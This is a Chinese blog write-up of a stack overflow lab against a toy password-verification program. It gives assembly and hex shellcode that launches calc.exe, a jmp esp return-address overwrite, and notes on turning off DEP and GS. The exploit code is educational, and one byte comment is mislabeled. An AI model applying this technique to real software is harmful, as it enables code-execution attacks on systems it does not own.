一个栈溢出漏洞实验的流程

实验原本是模拟一个密码验证程序,其代码如下:

  • 发现漏洞

其中verify_password代码如下:

用红框圈起来的地方发现有一个缓冲区漏洞,我们就利用这里进行栈溢出操作。我们这里只是尝试着弹出一个calc.exe。

  • 构造汇编代码来利用漏洞

先构造汇编代码,这里是先利用LoadLibrary加载msvcrt.dll,在利用system函数弹出calc.exe,最后利用ExitProcess退出,以防止栈破坏而报错,如果不使用ExitProcess,很容易报错:

当然我们这里要知道,“exitProcess是不管堆栈平衡,直接强制退出的。不使用这个东东的话就在shellcode里手动修复堆栈吧”。

汇编代码如下:

void main()
{
    __asm
    {
        mov esp, ebp;
        push ebp;
        mov ebp, esp;
        xor edi, edi;
        push edi;
        sub esp, 08h;
        mov byte ptr[ebp - 0ch], 6Dh;  //m
        mov byte ptr[ebp - 0bh], 73h;  //s
        mov byte ptr[ebp - 0ah], 76h;  //v
        mov byte ptr[ebp - 09h], 63h;  //c
        mov byte ptr[ebp - 08h], 72h;  //r
        mov byte ptr[ebp - 07h], 74h;  //t
        mov byte ptr[ebp - 06h], 2Eh;  //.
        mov byte ptr[ebp - 05h], 64h;  //d
        mov byte ptr[ebp - 04h], 6Ch;  //l
        mov byte ptr[ebp - 03h], 6Ch;  //l
        lea eax, [ebp - 0Ch];
        push eax;
        mov eax, 0x763b8f80;
        call eax;//LoadLibrary

        xor edi, edi;
        push edi;
        sub esp, 08h;
        mov byte ptr[ebp - 18h], 63h;  //c
        mov byte ptr[ebp - 17h], 61h;  //a
        mov byte ptr[ebp - 16h], 6ch;  //l
        mov byte ptr[ebp - 15h], 63h;  //c
        mov byte ptr[ebp - 14h], 2Eh;  //.
        mov byte ptr[ebp - 13h], 65h;  //e
        mov byte ptr[ebp - 12h], 78h;  //x
        mov byte ptr[ebp - 11h], 65h;  //e

        //system    0x762fb730
        lea eax, [ebp - 18h];
        push eax;
        mov eax, 0x762fb730;
        call eax;//system
        mov eax, 0x763c9850;
        call eax;//ExitProcess
    }
}

_asm中间的才是我们需要的,之所以放入main函数只是为了运行测试我们所写的汇编代码是否有问题,运行:

 

  • 为编写shellcode查机器码

可以正常弹出calc.exe,说明汇编代码没有问题。那么我们现在利用VS的反汇编功能,查看这些汇编代码的机器码,记得要在反汇编窗口右键选中“显示代码字节”,才能看到机器码:

选中后显示如下:

这里有一个问题,我们call eax的时候实际上是在调用API,我们又是如何知道这些API的地址的呢?我们可以利用这样一段代码:

运行它,就会输出这个函数的地址:

 这样,我们就知道了上边汇编代码中call eax之前,先要把那个地址mov到eax中了。

现在参考一下栈空间布局:

我们现在要做的就是填充掉栈空间中的buffer所占的44个字节、authenticated所占的四个字节,和原先压栈存放的ebp所占的四个字节,我们需要填充52个字节数据,这52个字节可以是任意字节。然后再把返回地址填充为要执行的我们的代码的地址,这里我们填充一个jmp esp的机器码,因为当函数退出时,esp会移动到图中指向第一个参数的位置,而这些参数我们将会用shellcode覆盖以执行我们自己的意图,所以,jmp esp后就相当于跳转到执行自己的意图的代码部分。如图所示:

那么这里问题来了,我们如何获取jmp esp的地址?利用如下demo:

可以找到加载user32.dll后一些jmp esp指令的地址:

整个shellcode的机器码如下:

//unsigned char shellcode[] =
//"\xAA\xAA\xAA\xAA"
//"\xAA\xAA\xAA\xAA"
//"\xAA\xAA\xAA\xAA"
//"\xAA\xAA\xAA\xAA"
//"\xAA\xAA\xAA\xAA"
//"\xAA\xAA\xAA\xAA"
//"\xAA\xAA\xAA\xAA"
//"\xAA\xAA\xAA\xAA"
//"\xAA\xAA\xAA\xAA"
//"\xAA\xAA\xAA\xAA"
//"\xAA\xAA\xAA\xAA"
//"\xAA\xAA\xAA\xAA"
//"\xAA\xAA\xAA\xAA"
//"\x9D\xC9\x74\x63"
//"\x8B\xE5"//mov esp, ebp;
//"\x55"//push ebp;
//"\x8B\xEC"//mov ebp, esp;
//"\x33\xFF"//xor edi, edi;
//"\x57"//push edi; 
//"\x83\xEC\x08"//sub esp, 08h;
//"\xC6\x45\xF4\x6D"//mov byte ptr [ebp-0ch],'m'
//"\xC6\x45\xF5\x73"//'s'
//"\xC6\x45\xF6\x76"//'v'
//"\xC6\x45\xF7\x63"//'c'
//"\xC6\x45\xF8\x72"//'r'
//"\xC6\x45\xF9\x74"//'t'
//"\xC6\x45\xFA\x2E"//'.'
//"\xC6\x45\xFB\x64"//'d'
//"\xC6\x45\xFC\x6C"//'l'
//"\xC6\x45\xFD\x6C"//'l'
//"\x8D\x45\xF4" //lea eax, [ebp-0ch]
//"\x50" //push eax
//"\xB8\x80\x8F\x3B\x76"//mov eax, 0x762fb730;
//"\xFF\xD0"//call eax;
//"\x33\xFF"//xor edi, edi;
//"\x57"//push edi; 
//"\x83\xEC\x08"//sub esp, 08h;
//"\xC6\x45\xE8\x63"//mov byte ptr[ebp - 0ch], 63h; 
//"\xC6\x45\xE9\x61"//mov byte ptr[ebp - 0bh], 61h; 
//"\xC6\x45\xEA\x6C"//mov byte ptr[ebp - 0ah], 6ch;
//"\xC6\x45\xEB\x63"//mov byte ptr[ebp - 09h], 63h;
//"\xC6\x45\xEC\x2E"//mov byte ptr[ebp - 08h], 2Eh;
//"\xC6\x45\xED\x65"//mov byte ptr[ebp - 07h], 65h;
//"\xC6\x45\xEE\x78"//mov byte ptr[ebp - 06h], 78h;
//"\xC6\x45\xEF\x65"//mov byte ptr[ebp - 05h], 65h;
//"\x8D\x45\xE8"//lea eax, [ebp - 18h];
//"\x50"//push eax ;
//"\xB8\x30\xB7\x2F\x76"//mov eax, 0x762fb730;
//"\xFF\xD0"//call eax;
//"\xB8\x50\x98\x3C\x76"//mov eax, 0x763c9850;
//"\xFF\xD0";//call eax;

检验这段机器码,可以使用

int main()
{
    ( (Func) &shellcode)();
        
    return 0;
}

进行测试,当然测试的时候要把前面填充的那些AA注释掉。而且,更重要的是,要关闭DEP保护,否则栈上的数据无法执行

  • 将机器码写入TXT

将机器码写入TXT以便这个文件读取时,造成缓冲区溢出,这里利用UltraEdit写入:

  • 运行程序调试

运行程序之前,记住关闭GS

通过调试可以看出,发生溢出成功:

反汇编单步跟踪到函数返回时:

也可以看到老ebp被覆盖:

再往下运行一步就会报错:

为什么?

而我们看到此时执行到的汇编指令为:

这说明我们的溢出是成功的,程序已经把栈中的数据当做代码去执行了。我们仔细观察上边的弹窗,说“写入位置 0x44444440 时发生访问冲突”,这表明esp中的地址不合法,这主要是因为把刚才ebp中存放的0x44444444存入了esp,随后又进行了一次push,把esp“抬高”到了0x44444440所致,那么我们考虑把mov esp,ebp去掉,

这时候就可以正常的弹出calc.exe了:

posted @ 2016-05-10 23:40  _No.47  阅读(2697)  评论(0编辑  收藏  举报